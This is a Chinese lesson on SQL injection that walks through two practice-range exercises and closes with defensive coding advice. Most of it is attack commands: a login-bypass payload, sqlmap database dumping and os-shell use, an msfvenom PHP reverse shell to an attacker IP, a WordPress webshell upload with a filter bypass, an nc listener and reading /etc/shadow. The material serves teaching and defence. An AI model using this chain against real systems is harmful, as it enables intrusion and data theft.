<网络安全>《42 网络攻防专业课<第八课 - SQL注入漏洞攻击与防范>》

本文主要是介绍<网络安全>《42 网络攻防专业课<第八课 - SQL注入漏洞攻击与防范>》,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1 SQL注入漏洞利用及防范

1 SQL注入的地位

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

2 SQL注入的危害及本质

这些危害包括但不局限于:

  1. 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  2. 网页篡改:通过操作数据库对特定网页进行篡改。
  3. 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  4. 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  5. 服务器被远程控制:被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  6. 破坏硬盘数据,瘫痪全系统。

3 本质

把用户输入的数据当作代码执行。

包含两个关键条件:
一:用户能够控制输入;二:原本程序要执行的代码,拼接了用户输入的数据。

4 SQL注入原理

在这里插入图片描述

5 SQL注入漏洞的方法

在这里插入图片描述
这是一个登陆页面

  1. Ø 点击“submit”之后,web应用会执行:
    Ø 接收发送的POST请求
    Ø 获取用户名和密码:(bart, simpson)
    Ø 构建SQL语句:select * from users where username = ‘bart’ and password = ‘simpson’;
    Ø 发送给数据库服务器来验证
  2. Ø 这个时候,我们可以对username进行变化
    Ø 输入的用户名不是简单的bart,而是 bart’ and 1=1; –
    Ø 这样整个语句变成如下:
    Ø select * from users where username = ‘bart’ and 1=1; – ’ and password = ‘simpson’;
    Ø 这个时候,–后面的都会变成注释,不用密码就能进行登陆。

6 SQL注入经常出没的地方

在这里插入图片描述
简言之:1. 用户一切可以输入(可控)的地方 。2.数据库一切可能导入、导出的东西。

7 SQL注入的分类

在这里插入图片描述
在这里插入图片描述

8 演练:SQL注入GET参数

8.1 信息探测

扫描主机服务信息以及服务版本

nmap -sV 靶场IP地址

快速扫描主机全部信息

nmap -T4 –A -v 靶场IP地址

探测敏感信息

nikto -host http://靶场IP地址:端口
dirb http://

8.2 深入挖掘

分析nmap 、nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;
使用浏览器打开 http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;
在这里插入图片描述

8.3 漏洞扫描

web漏洞扫描器 owasp-zap
OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用程序过程中,自动发现 Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
在这里插入图片描述

8.4 使用sqlmap利用SQL查看注入

在这里插入图片描述

8.5 漏洞利用

针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。
使用sqlmap利用SQL注入漏洞

sqlmap -u url --dbs    查看数据库名
sqlmap -u url –D “数据库名” --tables    查看对应数据库中的数据表
sqlmap -u url –D “数据库名” –T “表名” --columns  查看对应字段
sqlmap -u url –D “数据库名” –T “表名”-C “列名” --dump   查看对应字段的值
也可以直接尝试 sqlmap –u url –os-shell  直接获取shell

在这里插入图片描述

8.6 上传shell反弹权限

攻击机启动监听

msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 攻击机IP地址
msf exploit(handler) > set lport 4444
msf exploit(handler) > run

生成反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php

上传shell执行shell

绕过过滤机制   利用 .php 修改为 .PHP

9 演练:POST注入

9.1 信息探测

扫描主机服务信息以及服务版本

nmap -sV 靶场IP地址

快速扫描主机全部信息

nmap -T4 –A -v 靶场IP地址

探测敏感信息

nikto -host http://靶场IP地址:端口
dirb  http://靶场IP地址:端口

9.2 漏洞扫描

漏洞扫描器 Owasp-zap
功能强大,专注于web安全的漏洞扫描器。
在这里插入图片描述

9.3 漏洞利用

针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。但是扫描结果也不一定正确。
使用sqlmap利用SQL注入漏洞

sqlmap –r  request.raw –level 5 –risk 3  –dbs –dbms  mysql --batch
sqlmap –r  request.raw –level 5 –risk 3  –D "数据库名" –tables    查看对应数据库中的数据表 --batch
sqlmap –r  request.raw –level 5 –risk 3  –D "数据库名" –T "表名" –columns  查看对应字段 --batch
sqlmap –r  request.raw –level 5 –risk 3  –D "数据库名" –T "表名"-C "列名" –dump --batch

9.4 上传webshell获取控制权

wordpress 后台寻找上传点
主题 的404.php 可以上传webshell
webshell 获取 /usr/share/webshells/php/
在这里插入图片描述

执行shell,获取反弹shell。
http://靶场IP地址:端口号/目录/wp-content/themes/主题名/404.php
启动监听 – nc –nlvp port
启动终端 – python –c “import pty;pty.spawn(‘/bin/bash’)”

9.5 root权限

使用 cat /etc/shadow cat /etc/passwd 查看敏感文件
使用su - 提升 root权限

9.6 SQL注入的防范

防止SQL注入的根本措施是应该在程序中对用户的输入进行检测。总的来说有以下几点:
1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双“-”进行转换等。
2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息明文存放,请加密或者Hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。

这篇关于<网络安全>《42 网络攻防专业课<第八课 - SQL注入漏洞攻击与防范>》的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/731283

相关文章

详解MySQL中DISTINCT去重的核心注意事项

《详解MySQL中DISTINCT去重的核心注意事项》为了实现查询不重复的数据,MySQL提供了DISTINCT关键字,它的主要作用就是对数据表中一个或多个字段重复的数据进行过滤,只返回其中的一条数据... 目录DISTINCT 六大注意事项1. 作用范围:所有 SELECT 字段2. NULL 值的特殊处

MySQL 用户创建与授权最佳实践

《MySQL用户创建与授权最佳实践》在MySQL中,用户管理和权限控制是数据库安全的重要组成部分,下面详细介绍如何在MySQL中创建用户并授予适当的权限,感兴趣的朋友跟随小编一起看看吧... 目录mysql 用户创建与授权详解一、MySQL用户管理基础1. 用户账户组成2. 查看现有用户二、创建用户1. 基

MySQL 打开binlog日志的方法及注意事项

《MySQL打开binlog日志的方法及注意事项》本文给大家介绍MySQL打开binlog日志的方法及注意事项,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要... 目录一、默认状态二、如何检查 binlog 状态三、如何开启 binlog3.1 临时开启(重启后失效)

SQL BETWEEN 语句的基本用法详解

《SQLBETWEEN语句的基本用法详解》SQLBETWEEN语句是一个用于在SQL查询中指定查询条件的重要工具,它允许用户指定一个范围,用于筛选符合特定条件的记录,本文将详细介绍BETWEEN语... 目录概述BETWEEN 语句的基本用法BETWEEN 语句的示例示例 1:查询年龄在 20 到 30 岁

MySQL DQL从入门到精通

《MySQLDQL从入门到精通》通过DQL,我们可以从数据库中检索出所需的数据,进行各种复杂的数据分析和处理,本文将深入探讨MySQLDQL的各个方面,帮助你全面掌握这一重要技能,感兴趣的朋友跟随小... 目录一、DQL 基础:SELECT 语句入门二、数据过滤:WHERE 子句的使用三、结果排序:ORDE

MySQL MCP 服务器安装配置最佳实践

《MySQLMCP服务器安装配置最佳实践》本文介绍MySQLMCP服务器的安装配置方法,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下... 目录mysql MCP 服务器安装配置指南简介功能特点安装方法数据库配置使用MCP Inspector进行调试开发指

mysql中insert into的基本用法和一些示例

《mysql中insertinto的基本用法和一些示例》INSERTINTO用于向MySQL表插入新行,支持单行/多行及部分列插入,下面给大家介绍mysql中insertinto的基本用法和一些示例... 目录基本语法插入单行数据插入多行数据插入部分列的数据插入默认值注意事项在mysql中,INSERT I

一文详解MySQL如何设置自动备份任务

《一文详解MySQL如何设置自动备份任务》设置自动备份任务可以确保你的数据库定期备份,防止数据丢失,下面我们就来详细介绍一下如何使用Bash脚本和Cron任务在Linux系统上设置MySQL数据库的自... 目录1. 编写备份脚本1.1 创建并编辑备份脚本1.2 给予脚本执行权限2. 设置 Cron 任务2

SQL Server修改数据库名及物理数据文件名操作步骤

《SQLServer修改数据库名及物理数据文件名操作步骤》在SQLServer中重命名数据库是一个常见的操作,但需要确保用户具有足够的权限来执行此操作,:本文主要介绍SQLServer修改数据... 目录一、背景介绍二、操作步骤2.1 设置为单用户模式(断开连接)2.2 修改数据库名称2.3 查找逻辑文件名

SQL Server数据库死锁处理超详细攻略

《SQLServer数据库死锁处理超详细攻略》SQLServer作为主流数据库管理系统,在高并发场景下可能面临死锁问题,影响系统性能和稳定性,这篇文章主要给大家介绍了关于SQLServer数据库死... 目录一、引言二、查询 Sqlserver 中造成死锁的 SPID三、用内置函数查询执行信息1. sp_w